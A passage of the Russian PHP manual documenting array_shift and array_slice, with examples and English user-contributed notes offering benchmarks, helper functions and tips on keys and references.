array_shift — Извлекает первый элемент массива

Описание

array_shift(array &$array): mixed

array_shift() извлекает первое значение массива array и возвращает его, сокращая размер array на один элемент. Все числовые ключи будут изменены таким образом, что нумерация массива начнётся с нуля, в то время как строковые ключи останутся прежними.

Замечание: При вызове функция сбрасывает указатель массива, переданного параметром.

Список параметров

array

Входной массив.

Возвращаемые значения

Возвращает извлекаемое значение или null, если array пуст или не является массивом.

Примеры

Пример #1 Пример использования array_shift()

<?php
$stack = array("orange", "banana", "apple", "raspberry");
$fruit = array_shift($stack);
print_r($stack);
?>

Результат выполнения приведённого примера:

Array
(
    [0] => banana
    [1] => apple
    [2] => raspberry
)

и значение orange будет присвоено переменной $fruit.

Смотрите также

  • array_unshift() - Добавляет один или несколько элементов в начало массива
  • array_push() - Добавляет один или несколько элементов в конец массива
  • array_pop() - Извлекает последний элемент массива

User Contributed Notes

malima 31-Aug-2022 08:12
A simple benchmark (PHP 8.1.9 + macOS 12.4)

<?php

ini_set('memory_limit', -1);

$times = 25_000;
$length = 256;
$arr = [];

$random = random_bytes(($times + $length) / 2);
$random = bin2hex($random);

// benchmark array_shift()
for ($i = 0; $i < $times; $i++) {
    $arr[$i] = substr($random, $i, $length);
}

$shiftTimer = -hrtime(true);
for ($i = 0; $i < $times; $i++) {
    $value = array_shift($arr);
}
$shiftTimer += hrtime(true);

// benchmark array_reverse() + array_pop() + array_reverse()
for ($i = 0; $i < $times; $i++) {
    $arr[$i] = substr($random, $i, $length);
}

$reverseTimer = -hrtime(true);
for ($i = 0; $i < $times; $i++) {
    $arr = array_reverse($arr);
    $value = array_pop($arr);
    $arr = array_reverse($arr);
}
$reverseTimer += hrtime(true);

// benchmark array_reverse() + array_pop()
for ($i = 0; $i < $times; $i++) {
    $arr[$i] = substr($random, $i, $length);
}

$popTimer = -hrtime(true);
$arr = array_reverse($arr);
for ($i = 0; $i < $times; $i++) {
    $value = array_pop($arr);
}
$popTimer += hrtime(true);

// benchmark $arr[key()]+ unset(key())
for ($i = 0; $i < $times; $i++) {
    $arr[$i] = substr($random, $i, $length);
}

$keyTimer = -hrtime(true);
reset($arr);
for ($i = 0; $i < $times; $i++) {
    $key = key($arr);
    $val = $arr[$key];
    unset($arr[$key]);
}
$keyTimer += hrtime(true);

print_r([
    'shift' => $shiftTimer / (10 ** 9),
    'reverse' => $reverseTimer / (10 ** 9),
    'pop' => $popTimer / (10 ** 9),
    'key' => $keyTimer / (10 ** 9),
]);

?>

Results interpretation:

On an array of 25,000 unique items, each item a string of 256 byte:

and key() + unset() is very fast.

array_shift() is ~400 times slower

array_reverse() + array_pop() + array_reverse() is ~5,000 times slower.

p.s. I'm implementing a queue, so I need to add another array_reverse() after array_pop() which makes it extremely slow inside a loop. array_reverse() + array_pop() has no use for me, I just added for sake of checking it's performance. It is as fast as key() + unset().
Anonymous 29-Jun-2020 07:05
"$stack" in the example should be called "$queue".
hmztsc at gmail dot com 07-Feb-2020 07:58
// i wanted to remove first array inside to array
// but doesn't work for me : array_shift();

$cargo_file =
Array
(
    [0] => Array
        (
            [0] => Country
            [1] => CountryCode
            [2] => City
            [3] => CityOtherLanguage
            [4] => PostCode
            [5] => Days
        )

    [1] => Array
        (
            [0] => Turkey
            [1] => TR
            [2] => Istanbul
            [3] => Istanbul
            [4] => 34930
            [5] => 9
        )

)

$cargo_file = array_shift($cargo_file);

echo "<pre>";
print_r($cargo_file);
echo "</pre>";

// result after :

/*
Array
(
    [0] => Country
    [1] => CountryCode
    [2] => City
    [3] => CityOtherLanguage
    [4] => PostCode
    [5] => Days
)
*/

i developed a solution

function removeFirstArray($array){

    $new_array = [];
    foreach ($array as $key => $value) {
        if($key > 0){
            $new_array[] = $value;
        }
    }

    return $new_array;
}

$cargo_file= removeFirstArray($cargo_file);

echo "<pre>";
print_r($cargo_file);
echo "</pre>";

Array
(
    [0] => Array
        (
            [0] => Turkey
            [1] => TR
            [2] => Istanbul
            [3] => Istanbul
            [4] => 34930
            [5] => 9
        )

)
wheberson dot com dot br at gmail dot com 26-Sep-2019 01:35
// Ex. 1: signedShiftArray (['A', 'B', 'C', 'D'], 2)        ->        ['C', 'D', 'A', 'B']
// Ex. 2: signedShiftArray (['A', 'B', 'C', 'D'], -3)        ->        ['B', 'C', 'D', 'A']
// Ex. 3: signedShiftArray (['A', 'B', 'C', 'D'], -7)        ->        ['B', 'C', 'D', 'A']

function signedShiftArray ($aItems, $aOffset)

{
    if (empty ($aItems))
        return [];
    else if (empty ($aOffset))
        return $aItems;
    else {
        $t= count ($aItems);
        $n= $aOffset % $t;
        $m= $aOffset > 0 ? $n : $t + $aOffset;
        return array_merge (array_slice ($aItems, $n), array_slice ($aItems, 0, $m));
    }
}
vasiliauskas dot agnius at gmail dot com 07-Mar-2019 08:37
Sometimes instead of shuffling array you just need to rotate it. We can easily rotate left an array with such code:
<?php
$arr[] = array_shift($arr);
?>
biziclop at vipmail dot hu 17-Jan-2018 10:49
<?php

//Be careful when using array_pop/shift/push/unshift with irregularly indexed arrays:

$shifty = $poppy = array(
  2 => '(2)',
  1 => '(1)',
  0 => '(0)',
);                         print_r( $shifty );

array_shift( $shifty );    print_r( $shifty );
//     [0] => (1)
//     [1] => (0)

array_pop( $poppy );       print_r( $poppy );
//     [2] => (2)
//     [1] => (1)

$shifty = $poppy = array(
  'a' => 'A',
  'b' => 'B',
  '(0)',
  '(1)',
  'c' => 'C',
  'd' => 'D',
);                                     print_r( $shifty );

array_shift( $shifty );                print_r( $shifty );
//     [b] => B
//     [0] => (0)
//     [1] => (1)
//     [c] => C
//     [d] => D

array_unshift( $shifty, 'unshifted');  print_r( $shifty );
//     [0] => unshifted
//     [b] => B
//     [1] => (0)
//     [2] => (1)
//     [c] => C
//     [d] => D

array_pop( $poppy );                   print_r( $poppy );
//     [a] => A
//     [b] => B
//     [0] => (0)
//     [1] => (1)
//     [c] => C

array_push( $poppy, 'pushed');         print_r( $poppy );
//     [a] => A
//     [b] => B
//     [0] => (0)
//     [1] => (1)
//     [c] => C
//     [2] => pushed

?>
mah dot di at live dot com 07-Mar-2016 02:35
This removeAdd function, the first argument shift your array then unshif the second argument to your array. first argument is an array and second argument can be int or str.

<?php
function removeAdd ($arr, $newer){
    $a = array_shift($arr);
    $b = array_unshift($arr, $newer);
    foreach ($arr as $value){
        echo $value."<br />";
    }
}

$a = array(1,2,3,4,5,6);
foreach ($a as $current){
    echo $current."<br />";
}
echo "<hr />";
removeAdd($a, 0);
?>

OUTPUT:
1
2
3
4
5
6
_______

0
2
3
4
5
6
michaeljanikk at gmail dot com 14-May-2014 01:26
To remove an element from the MIDDLE of an array (similar to array_shift, only instead of removing the first element, we want to remove an element in the middle, and shift all keys that follow down one position)

Note that this only works on enumerated arrays.

<?php
$array = array('a', 'b', 'c', 'd', 'e', 'e');
/*
array(6) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
  [5]=>
  string(1) "e"
}
*/

$indexToRemove = 2;
unset($array[$indexToRemove]);
$array = array_slice($array, 0);

/*
array(5) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "d"
  [3]=>
  string(1) "e"
  [4]=>
  string(1) "e"
}
*/
?>

I hope this helps someone!
drum_inc at yahoo dot com 23-Aug-2013 05:27
Assignment in line, does not remove the element.

$first = array_shift( $arr = array( 0 => '1st', 2 => '2nd', 3 => '3rd') );
print_r( $first );
print_r( $arr );

Output:
1st
Array
(
    [0] => 1st
    [2] => 2nd
    [3] => 3rd
)
elad dot yosifon at gmail dot com 10-Aug-2013 06:47
Notice:
the complexity of array_pop() is O(1).
the complexity of array_shift() is O(n).
array_shift() requires a re-index process on the array, so it has to run over all the elements and index them.
info at chihoang dot de 20-Apr-2011 09:46
This doesn't work with a 2 dimensional array. With 2 dimensional array I do this:

<?php
$backup = $arr;
$first = array_shift ( $backup );
?>
ar at xonix dot ch 14-Aug-2010 03:54
If you need the first or last entry of an array, then this could help you.

<?php
function array_last_entry($arr){
    if(!is_array($arr))
        return;

    if(empty($arr))
        return;

    return end($arr);
}

function array_first_entry($arr){
    if(!is_array($arr))
        return;

    if(empty($arr))
        return;

    reset($arr);
    return current($arr);
}

$arr = array( '5' => 'five', '3' => 'three', '8' => 'eight',);

echo 'last entry: '.array_last_entry($arr).'<br>';

echo 'first entry: '.array_first_entry($arr).'<br>';

echo 'alternative output:<br>';

echo 'last entry: '.$arr[count($arr)-1];

echo '<br>first entry: '.$arr[0];
?>

The output will look like:
last entry: eight
first entry: five
alternative output:
last entry:
first entry:

As you can see, if you have to handle arrays with non-continuous indexes, these functions may be very helpful.
patrick at pwfisher dot com 21-Aug-2009 08:23
Here's a utility function to parse command line arguments.

<?php
/**
 * CommandLine class
 *
 * @package             Framework
 */
/**
 * Command Line Interface (CLI) utility class.
 *
 * @author              Patrick Fisher <patrick@pwfisher.com>
 * @since               August 21, 2009
 * @package             Framework
 * @subpackage          Env
 */
class CommandLine {

    /**
     * PARSE ARGUMENTS
     *
     * [pfisher ~]$ echo "<?php
     * >     include('CommandLine.php');
     * >     \$args = CommandLine::parseArgs(\$_SERVER['argv']);
     * >     echo "\n", '\$out = '; var_dump(\$args); echo "\n";
     * > ?>" > test.php
     *
     * [pfisher ~]$ php test.php plain-arg --foo --bar=baz --funny="spam=eggs" --alsofunny=spam=eggs \
     * > 'plain arg 2' -abc -k=value "plain arg 3" --s="original" --s='overwrite' --s
     *
     * $out = array(12) {
     *   [0]                => string(9) "plain-arg"
     *   ["foo"]            => bool(true)
     *   ["bar"]            => string(3) "baz"
     *   ["funny"]          => string(9) "spam=eggs"
     *   ["alsofunny"]      => string(9) "spam=eggs"
     *   [1]                => string(11) "plain arg 2"
     *   ["a"]              => bool(true)
     *   ["b"]              => bool(true)
     *   ["c"]              => bool(true)
     *   ["k"]              => string(5) "value"
     *   [2]                => string(11) "plain arg 3"
     *   ["s"]              => string(9) "overwrite"
     * }
     *
     * @author              Patrick Fisher <patrick@pwfisher.com>
     * @since               August 21, 2009
     * @see                 http://www.php.net/manual/en/features.commandline.php
     *                      #81042 function arguments($argv) by technorati at gmail dot com, 12-Feb-2008
     *                      #78651 function getArgs($args) by B Crawford, 22-Oct-2007
     * @usage               $args = CommandLine::parseArgs($_SERVER['argv']);
     */
    public static function parseArgs($argv){

        array_shift($argv);
        $out                            = array();

        foreach ($argv as $arg){

            // --foo --bar=baz
            if (substr($arg,0,2) == '--'){
                $eqPos                  = strpos($arg,'=');

                // --foo
                if ($eqPos === false){
                    $key                = substr($arg,2);
                    $value              = isset($out[$key]) ? $out[$key] : true;
                    $out[$key]          = $value;
                }
                // --bar=baz
                else {
                    $key                = substr($arg,2,$eqPos-2);
                    $value              = substr($arg,$eqPos+1);
                    $out[$key]          = $value;
                }
            }
            // -k=value -abc
            else if (substr($arg,0,1) == '-'){

                // -k=value
                if (substr($arg,2,1) == '='){
                    $key                = substr($arg,1,1);
                    $value              = substr($arg,3);
                    $out[$key]          = $value;
                }
                // -abc
                else {
                    $chars              = str_split(substr($arg,1));
                    foreach ($chars as $char){
                        $key            = $char;
                        $value          = isset($out[$key]) ? $out[$key] : true;
                        $out[$key]      = $value;
                    }
                }
            }
            // plain-arg
            else {
                $value                  = $arg;
                $out[]                  = $value;
            }
        }
        return $out;
    }
}
?>
regs at voidship dot net 03-Nov-2008 12:50
Using array_shift over larger array was fairly slow.  It sped up as the array shrank, most likely as it has to reindex a smaller data set.

For my purpose, I used array_reverse, then array_pop, which doesn't need to reindex the array and will preserve keys if you want it to (didn't matter in my case).

Using direct index references, i.e., array_test[$i], was fast, but direct index referencing + unset for destructive operations was about the same speed as array_reverse and array_pop.  It also requires sequential numeric keys.
chris {at} w3style {dot} co {dot} uk 05-Oct-2008 06:06
As pointed out earlier, in PHP4, array_shift() modifies the input array by-reference, but it doesn't return the first element by reference.  This may seem like very unexpected behaviour.  If you're working with a collection of references (in my case XML Nodes) this should do the trick.

<?php

/**
 * This function exhibits the same behaviour is array_shift(), except
 * it returns a reference to the first element of the array instead of a copy.
 *
 * @param array &$array
 * @return mixed
 */
function &array_shift_reference(&$array)
{
  if (count($array) > 0)
  {
    $key = key($array);
    $first =& $array[$key];
  }
  else
  {
    $first = null;
  }
  array_shift($array);
  return $first;
}

class ArrayShiftReferenceTest extends UnitTestCase
{

  function testFunctionRemovesFirstElementOfNumericallyIndexedArray()
  {
    $input = array('foo', 'bar');
    array_shift_reference($input);
    $this->assertEqual(array('bar'), $input, '%s: The array should be shifted one element left');
  }

  function testFunctionRemovesFirstElementOfAssociativeArray()
  {
    $input = array('x' => 'foo', 'y' => 'bar');
    array_shift_reference($input);
    $this->assertEqual(array('y' => 'bar'), $input, '%s: The array should be shifted one element left');
  }

  function testFunctionReturnsReferenceToFirstElementOfNumericallyIndexedArray()
  {
    $foo = 'foo';
    $input = array(&$foo, 'bar');
    $first =& array_shift_reference($input);
    $this->assertReference($foo, $first, '%s: The return value should reference the first array element');
  }

  function testFunctionReturnsReferenceToFirstElementOfAssociativeArray()
  {
    $foo = 'foo';
    $input = array('x' => &$foo, 'y' => 'bar');
    $first =& array_shift_reference($input);
    $this->assertReference($foo, $first, '%s: The return value should reference the first array element');
  }

  function testFunctionReturnsNullIfEmptyArrayPassedAsInput()
  {
    $input = array();
    $first = array_shift_reference($input);
    $this->assertNull($first, '%s: Array has no first element so NULL should be returned');
  }

}

?>
sggoyal at gmail dot com 07-Sep-2008 10:08
// To Change order of Array by Saurabh Goyal
    function change_array_order($table,$order)
    {
       //init the new table
       $new_table = array();
       foreach($order as $colname)
       {
          $new_table[$colname] = $table[$colname];
       }
       return $new_table;
    }

if array value like:-
$row = array('usr_id'=>'23','usr_name'=>'Saurabh', 'usr_surname'=>'Goyal','usr_firstname'=>'Saurabh');

//you want change order & show only particular field
change_array_order($row,array('usr_name','usr_firstname',
                                            'usr_surname'));

Regard's

Saurabh Goyal
http://sggoyal.blogspot.com
nospam at dyce dot losethisbit dot com 02-Jul-2008 05:15
Just a useful version which returns a simple array with the first key and value. Porbably a better way of doing it, but it works for me ;-)

<?php

function array_kshift(&$arr)
{
  list($k) = array_keys($arr);
  $r  = array($k=>$arr[$k]);
  unset($arr[$k]);
  return $r;
}

// test it on a simple associative array
$arr = array('x'=>'ball','y'=>'hat','z'=>'apple');

print_r($arr);
print_r(array_kshift($arr));
print_r($arr);

?>

Output:

Array
(
    [x] => ball
    [y] => hat
    [z] => apple
)
Array
(
    [x] => ball
)
Array
(
    [y] => hat
    [z] => apple
)
Maikel 19-Feb-2008 09:43
In response to nando_f at nothingsimple dot com

The example is correct,  array_shift do an unset to first element  because the parameter is passed by reference
Ben 02-Oct-2007 09:17
baughmankr at appstate dot edu, I think this is more efficient.

<?php
function array_shorten($arr)
{
  list($k) = array_keys($arr);
  unset($arr[$k]);
  return $arr;
}
?>
baughmankr at appstate dot edu 18-Sep-2007 02:04
I needed to remove the first set of keys and values from an associative array.  Had to write this function:

function shortenArray($_arr)
{
    $i=1;
    $_shorter=array();
    foreach ($_arr as $k => $v)
    {
        if ($i != 1)
        {
            $_shorter[$k] = $v;
        }
        $i++;
    }
    return $_shorter;
}
dmhouse at gmail dot com 08-Aug-2007 01:54
If you want a version of array_shift() that works non-destructively (i.e., an easy function to grab the first element of the array without modifying the array), try reset().
Traps 09-Jul-2007 10:52
For those that may be trying to use array_shift() with an array containing references (e.g. working with linked node trees), beware that array_shift() may not work as you expect: it will return a *copy* of the first element of the array, and not the element itself, so your reference will be lost.

The solution is to reference the first element before removing it with array_shift():

<?php

// using only array_shift:
$a = 1;
$array = array(&$a);
$b =& array_shift($array);
$b = 2;
echo "a = $a, b = $b<br>"; // outputs a = 1, b = 2

// solution: referencing the first element first:
$a = 1;
$array = array(&$a);
$b =& $array[0];
array_shift($array);
$b = 2;
echo "a = $a, b = $b<br>"; // outputs a = 2, b = 2

?>
C_Prevost at myob 30-Apr-2007 04:52
no, it demonstrates quite well that it removes the first element in the original array, updating the keys, and that it also returns the original first element.
richard at happymango dot me dot uk 12-Apr-2007 06:09
If you want to loop through an array, removing its values one at a time using array_shift() but also want the key as well, try this.

<?php

while($key = key($array))
{
     $value = array_shift($array);
     //code goes here
}

?>

its like foreach but each time the value is removed from the array so it eventually ends up empty

<?php

//example below

$airports = array
(
    "LGW" => "London Gatwick",
    "LHR" => "London Heathrow",
    "STN" => "London Stanstead"
);

echo count($airports)." Airport in the array<br /><br />";

while($key = key($airports))
{
    $value = array_shift($airports);
    echo $key." is ".$value."<br />";
}

echo "<br />".count($airports)." Airport left in the array";

?>

Example Outputs:

3 Airport in the array

LGW is London Gatwick
LHR is London Heathrow
STN is London Stanstead

0 Airport left in the array
alreece45 at yahoo dot com 09-Aug-2006 08:13
I haven't really read into it, but if you're complaining about a change in PHP 5.0.5 that made it so you couldn't do:

<?php

$val = array_shift(preg_split());

?>

or

<?php

$val = array_shit(function_that_returns_array);

?>

Then you're not using this function correctly. This function's argument is supposed to be a pointer to a variable. It then modifies that variable and returns a value. When you specify a function, php CAN NOT modify the return value of that function. It should be common sense but apparently its not.

Also, on a efficiency note, you might want to consider using another function such as reset or perhaps making your own function such as below:

<?php

function first_element($array) {

return reset($array);

}

?>

Unless of course for some reason you need to save the microseconds this takes.

}
bmr at ediweb dot org 31-May-2006 07:27
If the array has non-numerical keys, array_shift extracts the first element, whichever is the key, and recompute the numerical keys, if there are any. Ie :

$array = array("c" => "ccc", 0 => "aaa", "d" => "ddd", 5 => "bbb");
$first = array_shift($array);
echo '$first = ' . $first . ', $array = ' . var_export($array, true);

will display :

$first = ccc, $array = array ( 0 => 'aaa', 'd' => 'ddd', 1 => 'bbb', )

It means that array_shift works with associative arrays too, and leaves the keys unchanged if they are non-numerical.
19-Sep-2005 07:57
<?php

//----------------------------------------------------------
// The combination of array_shift/array_unshift
// greatly simplified a function I created for
// generating relative paths. Before I found them
// the algorithm was really squirrely, with multiple
// if tests, length calculations, nested loops, etc.
// Great functions.
//----------------------------------------------------------

function create_relative_path($inSourcePath, $inRefPath)
{
    // break strings at slashes
    $s_parts            = explode('/', $inSourcePath);
    $r_parts            = explode('/', $inRefPath);

    // delete items up to the first non-equal part
    while ($s_parts[0] === $r_parts[0])
    {
        array_shift($s_parts);
        array_shift($r_parts);
    }

    // add wild card to r_parts for each remaining
    // item of s_parts
    while ($s_parts[0])
    {
        array_unshift($r_parts, '..');
        array_shift($s_parts);
    }

    return implode('/', $r_parts);
}

//----------------------------------------------------------
// Example:
//     Given a source path $sp generates the relative
//     location of $rp. $sp could be assigned using
//     $_SERVER['PHP_SELF'] but it's hardcoded for
//     the example.
//----------------------------------------------------------
$sp = '/WebServer/Documents/MyBigProject/php/project_script.php';
$rp = '/WebServer/Documents/MyLibraries/lib_script.php';

// plugging them into the function
$rel_path = create_relative_path($sp, $rp);

// yeilds
'../../../MyLibraries/lib_script.php'

// and it could be used like
include_once(create_relative_path($_SERVER['PHP_SELF'], $rp));
lukasz dot dywicki DEL at gmail dot com 27-Jul-2005 05:48
Im using this function to browse arrays from database. For example data:
<?php
$data = array(
      array('row 1-cell 1','row 1-cell 2'),
      array('row 2-cell 1','row 2-cell 2'),
      array('row 3-cell 1','row 3-cell 2'),
);

while($row=array_shift($data)) {
      echo $row[0];
}
?>
Output:
row 1-cell 1
row 2-cell 1
row 3-cell 1
arturo {dot} ronchi {at} gmail {dot} com 20-Apr-2005 06:24
Here is a little function if you would like to get the top element and rotate the array afterwards.

function array_rotate(&$arr)
{
  $elm = array_shift($arr);
  array_push($arr, $elm);
  return $elm;
}
09-Feb-2005 04:27
This function will save the key values of an array, and it will work in lower versions of PHP:

<?php

function array_shift2(&$array){
    reset($array);
    $key = key($array);
    $removed = $array[$key];
    unset($array[$key]);
    return $removed;
}

?>
James McGuigan 14-Dec-2004 11:26
while(array_shift()) can be used to process multiple arrays and/or database results in a single loop. The || short circuts and only evaluates the first statement until it runs out of data.

It can help to reduce duplicated code (the rule is code once and once only).

Note that each ($row = ) statement much be encased in ()'s otherwise you will get funny results. If you use two array_shift($array) statements and forget the ()'s, you will repeatedly get the first element of the first array for the for the count of the $array.

<?php

require_once('class.db.php');

$sql = "SELECT title FROM links";
$result = mysql_query($sql, $db->connection);

$defaults = array(
     array('title' => 'None'),
     array('title' => 'Unknown')
);

while ( ($row = mysql_fetch_assoc($result))
     || ($row = array_shift($defaults)))
{
  echo $row['title'] . "<br>";
}

?>

This will print out (depending on database contents):
Title1
Title2
Title3
...
None
Unknown


Выбирает срез массива

  • « array_shift
  • array_splice »
  • PHP Manual
  • Функции для работы с массивами
  • Выбирает срез массива

array_slice

(PHP 4, PHP 5, PHP 7, PHP 8)

array_slice — Выбирает срез массива

Описание

array_slice(
array $array,
int $offset,
?int $length = null,
bool $preserve_keys = false
): array

array_slice() возвращает последовательность элементов массива array, определённую параметрами offset и length.

Список параметров

array

Входной массив.

offset

Если параметр offset неотрицательный, последовательность начнётся на указанном расстоянии от начала array.

Если offset отрицательный, последовательность начнётся с конца array.

Замечание:

Обратите внимание, что параметр offset обозначает положение в массиве, а не ключ.

length

Если в эту функцию передан положительный параметр length, последовательность будет включать количество элементов меньшее или равное length.

Если количество элементов массива меньше чем параметр length, то только доступные элементы массива будут присутствовать.

Если в эту функцию передан отрицательный параметр length, последовательность остановится на указанном расстоянии от конца массива.

Если он опущен, последовательность будет содержать все элементы с offset до конца массива array.

preserve_keys

Замечание:

Обратите внимание, что по умолчанию array_slice() сбрасывает ключи массива. Вы можете переопределить это поведение, установив параметр preserve_keys в true. Строковые ключи сохраняются, независимо от значения этого параметра.

Возвращаемые значения

Возвращает срез. Если смещение больше длины массива, то будет возвращён пустой массив.

Примеры

Пример #1 Пример использования array_slice()

<?php
$input = array("a", "b", "c", "d", "e");

$output = array_slice($input, 2); // возвращает "c", "d" и "e"
$output = array_slice($input, -2, 1); // возвращает "d"
$output = array_slice($input, 0, 3); // возвращает "a", "b" и "c"

// обратите внимание на различия в индексах массивов
print_r(array_slice($input, 2, -1));
print_r(array_slice($input, 2, -1, true));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => c
    [1] => d
)
Array
(
    [2] => c
    [3] => d
)

Пример #2 Пример использования array_slice() с одномерным массивом

<?php
$input = array(1 => "a", "b", "c", "d", "e");
print_r(array_slice($input, 1, 2));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => b
    [1] => c
)

Пример #3 Пример использования array_slice() с массивом из смешанных ключей

<?php
$ar = array('a'=>'apple', 'b'=>'banana', '42'=>'pear', 'd'=>'orange');
print_r(array_slice($ar, 0, 3));
print_r(array_slice($ar, 0, 3, true));
?>

Результат выполнения приведённого примера:

Array
(
    [a] => apple
    [b] => banana
    [0] => pear
)
Array
(
    [a] => apple
    [b] => banana
    [42] => pear
)

Смотрите также

  • array_chunk() - Разбивает массив на части
  • array_splice() - Удаляет часть массива и заменяет её чем-нибудь ещё
  • unset() - Удаляет переменную

User Contributed Notes

Benjamin Sonntag 06-Oct-2023 04:17
The documentation doesn't say it, but if LENGTH is ZERO, then the result is an empty array [].
nathan dot fiscaletti at gmail dot com 30-Dec-2017 01:46
If you want an associative version of this you can do the following:

function array_slice_assoc($array,$keys) {
    return array_intersect_key($array,array_flip($keys));
}

However, if you want an inverse associative version of this, just use array_diff_key instead of array_intersect_key.

function array_slice_assoc_inverse($array,$keys) {
    return array_diff_key($array,array_flip($keys));
}

Example:

$arr = [
    'name' => 'Nathan',
    'age' => 20,
    'height' => 6
];

array_slice_assoc($arr, ['name','age']);

will return

Array (
     'name' = 'Nathan',
     'age' = 20
)

Where as

array_slice_assoc_inverse($arr, ['name']);

will return

Array (
    'age' = 20,
    'height' = 6
)
SomeGuy 24-Jun-2016 09:17
Thank to taylorbarstow here the function with the unset feature.
<?php
function array_slice_assoc(&$array,$keys,$unset = true) {
    $return = array_intersect_key($array, array_flip($keys));
    if ($unset) {
        foreach ($keys as $value) {
            unset($array[$value]);
        }
    }
    return $return;
}
?>
kansey 12-Aug-2015 09:32
To save the sort order of a numeric index in the array. Version php =>5.5.26
/*
Example
*/

$arr = array( "1" =>2, "2" =>3 , "3" =>5 );

print_r(array_slice($arr,1,null,true));

/*
Result

Array
(
[2] => 3
[3] => 5
)
*/
Ray.Paseur often uses Gmail 06-Jun-2013 02:44
<?php
// CHOP $num ELEMENTS OFF THE FRONT OF AN ARRAY
// RETURN THE CHOP, SHORTENING THE SUBJECT ARRAY
function array_chop(&$arr, $num)
{
    $ret = array_slice($arr, 0, $num);
    $arr = array_slice($arr, $num);
    return $ret;
}
Nathan - thefiscster510 at gmail dot com 29-Mar-2011 10:38
If you want to remove a specified entry from an array i made this mwethod...

<?php
$array = array("Entry1","entry2","entry3");

$int = 3; //Number of entries in the array
$int2 = 0; //Starter array spot... it will begine its search at 0.
$del_num = 1; //Represents the second entry in the array... which is the one we will happen to remove this time... i.e. 0 = first entry, 1 = second entry, 2 = third...........

$newarray = array(); //Empty array that will be the new array minus the specified entry...
print_r($array) . "<br>";    //print original array contents
print_r($newarray). "<br>"; //print the new empty array

do
{
$user = $array[$int2];
$key = array_search($user, $array);
if ($key == $del_num)
{

}
else
{
$newarray[] = $array[$int2];
}

$int2 = $int2 + 1;
} while ($int2 < $int);

print_r($newarray). "<br>"; //print the new array

?>
delew 11-Feb-2011 01:17
just a little tip.
to preserve keys without providing length: use NULL

array_slice($array, $my_offset, NULL, true);
xananax at yelostudio dot com 02-Feb-2011 07:23
<?php
/**
 * Reorders an array by keys according to a list of values.
 * @param array $array the array to reorder. Passed by reference
 * @param array $list the list to reorder by
 * @param boolean $keepRest if set to FALSE, anything not in the $list array will be removed.
 * @param boolean $prepend if set to TRUE, will prepend the remaining values instead of appending them
 * @author xananax AT yelostudio DOT com
 */
function array_reorder(array &$array,array $list,$keepRest=TRUE,$prepend=FALSE,$preserveKeys=TRUE){
    $temp = array();
    foreach($list as $i){
        if(isset($array[$i])){
            $tempValue = array_slice(
                $array,
                array_search($i,array_keys($array)),
                1,
                $preserveKeys
            );
            $temp[$i] = array_shift($tempValue);
            unset($array[$i]);
        }
    }
    $array = $keepRest ?
        ($prepend?
            $array+$temp
            :$temp+$array
        )
        : $temp;
}

/** exemple ** /
$a = array(
    'a'    =>    'a',
    'b'    =>    'b',
    'c'    =>    'c',
    'd'    =>    'd',
    'e'    =>    'e'
);
$order = array('c','b','a');

array_reorder($a,$order,TRUE);
echo '<pre>';
print_r($a);
echo '</pre>';
/** exemple end **/
?>
jamon at clearsightdesign dot com 10-Apr-2009 05:46
I was trying to find a good way to find the previous several and next several results from an array created in a MySQL query. I found that most MySQL solutions to this problem were complex. Here is a simple function that returns the previous and next rows from the array.

<?php

/*
** function array_surround by Jamon Holmgren of ClearSight Design
** Version 1.0 - 4/10/2009
** Please direct comments and questions to my first name at symbol clearsightdesign.com
**
** Returns an array with only the $before and $after number of results
** This is set to work best with MySQL data results
** Use this to find the rows immediately before and after a particular row, as many as you want
**
** Example usage:
**   $mysql_ar is an array of results from a MySQL query and the current id is $cur_id
**   We want to get the row before this one and five rows afterward
**
** $near_rows = array_surround($mysql_ar, "id", $cur_id, 1, 5)
**
**   Previous row is now $near_rows[-1]
**   Current row is now $near_rows[0]
**   Next row is $near_rows[1] ... etc
**   If there is no previous row, $near_rows[-1] will not be set...test for it with is_array($near_rows[-1])
**
*/
function array_surround($src_array, $field, $value, $before = 1, $after = 1) {
    if(is_array($src_array)) {
        // reset all the keys to 0 through whatever in case they aren't sequential
        $new_array = array_values($src_array);
        // now loop through and find the key in array that matches the criteria in $field and $value
        foreach($new_array as $k => $s) {
            if($s[$field] == $value) {
                // Found the one we wanted
                $ck = $k; // put the key in the $ck (current key)
                break;
            }
        }
        if(isset($ck)) { // Found it!
            $result_start = $ck - $before; // Set the start key
            $result_length = $before + 1 + $after; // Set the number of keys to return
            if($result_start < 0) { // Oops, start key is before first result
                $result_length = $result_length + $result_start; // Reduce the number of keys to return
                $result_start = 0; // Set the start key to the first result
            }
            $result_temp = array_slice($new_array, $result_start, $result_length); // Slice out the results we want
            // Now we have an array, but we want array[-$before] to array[$after] not 0 to whatever.
            foreach($result_temp as $rk => $rt) { // set all the keys to -$before to +$after
                $result[$result_start - $ck + $rk] = $rt;
            }
            return $result;
        } else { // didn't find it!
            return false;
        }
    } else { // They didn't send an array
        return false;
    }
}

?>

I hope you find this useful! I welcome constructive criticism or comments or of course praise ;) -- just e-mail me.

- Jamon Holmgren
Mr. P 14-Nov-2008 02:11
Note that offset is not the same thing as key. Offset always starts at 0, while keys might be any number.

So this:

<?php print_r(array_slice(array(0 => 0, 5 => 5, 13 => 13),1)); ?>

will result in this:
Array
(
    [0] => 5
    [1] => 13
)
s0i0m at dreamevilconcepts dot com 12-Sep-2008 07:53
Using the varname function referenced from the array_search page, submitted by dcez at land dot ru. I created a multi-dimensional array splice function. It's usage is like so:

$array['admin'] = array('blah1', 'blah2');
$array['voice'] = array('blah3', 'blah4');
array_cut('blah4', $array);

...Would strip blah4 from the array, no matter where the position of it was in the array ^^ Returning this...

Array ( [admin] => Array ( [0] => blah1 [1] => blah2 ) [voice] => Array ( [0] => blah3 ) )

Here is the code...

<?php

  function varname ($var)
  {
    // varname function by dcez at land dot ru
    return (isset($var)) ? array_search($var, $GLOBALS) : false;
  }

  function array_cut($needle, $haystack)
  {
    foreach ($haystack as $k => $v)
    {
      for ($i=0; $i<count($v); $i++)
        if ($v[$i] === $needle)
        {
          return array_splice($GLOBALS[varname($haystack)][$k], $i, 1);
          break; break;
        }
    }

?>

Check out dreamevilconcept's forum for more innovative creations!
ted.devito at 9gmail9 dot 99com 02-May-2008 09:21
